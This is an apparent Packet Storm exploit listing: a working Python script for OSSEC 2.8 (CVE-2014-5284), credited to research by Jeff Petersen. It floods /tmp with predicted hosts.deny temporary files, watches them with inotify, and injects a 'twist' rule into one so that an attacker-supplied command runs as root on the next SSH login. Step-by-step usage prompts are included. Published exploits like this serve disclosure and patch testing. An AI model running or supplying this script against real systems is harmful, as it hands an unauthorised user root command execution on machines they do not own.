OSSEC 2.8 Privilege Escalation

2014-11-14T00:00:00
ID PACKETSTORM:129111
Type packetstorm
Reporter skynet-13
Modified 2014-11-14T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation  
# Date: 14-11-14  
# Exploit Author: skynet-13  
# Vendor Homepage: www.ossec.net/  
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz  
# Version: OSSEC - 2.8  
# Tested on: Ubunutu x86_64  
# CVE : 2014-5284  
  
# Created from Research by  
# Jeff Petersen  
# Roka Security LLC  
# jpetersen@rokasecurity.com  
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1  
  
# Run this on target machine and follow instructions to execute command as root  
  
from twisted.internet import inotify  
from twisted.python import filepath  
from twisted.internet import reactor  
import os  
import optparse  
import signal  
  
  
class HostDenyExploiter(object):  
  
def __init__(self, path_to_watch, cmd):  
self.path = path_to_watch  
self.notifier = inotify.INotify()  
self.exploit = cmd  
  
def create_files(self):  
print "=============================================="  
print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."  
  
for i in range(300, 65536):  
filename = "/tmp/hosts.deny.%s" % i  
f = open(filename, 'w')  
f.write("")  
f.close()  
  
def watch_files(self):  
print "=============================================="  
print "Monitoring tmp for file change...."  
print "ssh into the system a few times with an incorrect password"  
print "Then wait for up to 10 mins"  
print "=============================================="  
self.notifier.startReading()  
self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])  
  
def write_exploit_to_file(self, path):  
print 'Writing exploit to this file'  
f = open(str(path).split("'")[1], 'w')  
f.write(' sshd : ALL : twist %s \n' % self.exploit)  
f.close()  
print "=============================================="  
print " ssh in again to execute the command"  
print "=============================================="  
print " End Prog."  
os.kill(os.getpid(), signal.SIGUSR1)  
  
def on_file_change(self, watch, path, mask):  
print 'File: ', str(path).split("'")[1], ' has just been modified'  
self.notifier.stopReading()  
self.write_exploit_to_file(path)  
  
  
if __name__ == '__main__':  
parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")  
parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')  
(options, args) = parser.parse_args()  
cmd = options.cmd  
if options.cmd is None:  
print parser.usage  
exit(0)  
ex = HostDenyExploiter('/tmp', cmd)  
ex.create_files()  
ex.watch_files()  
reactor.run()  
exit(0)  
  
`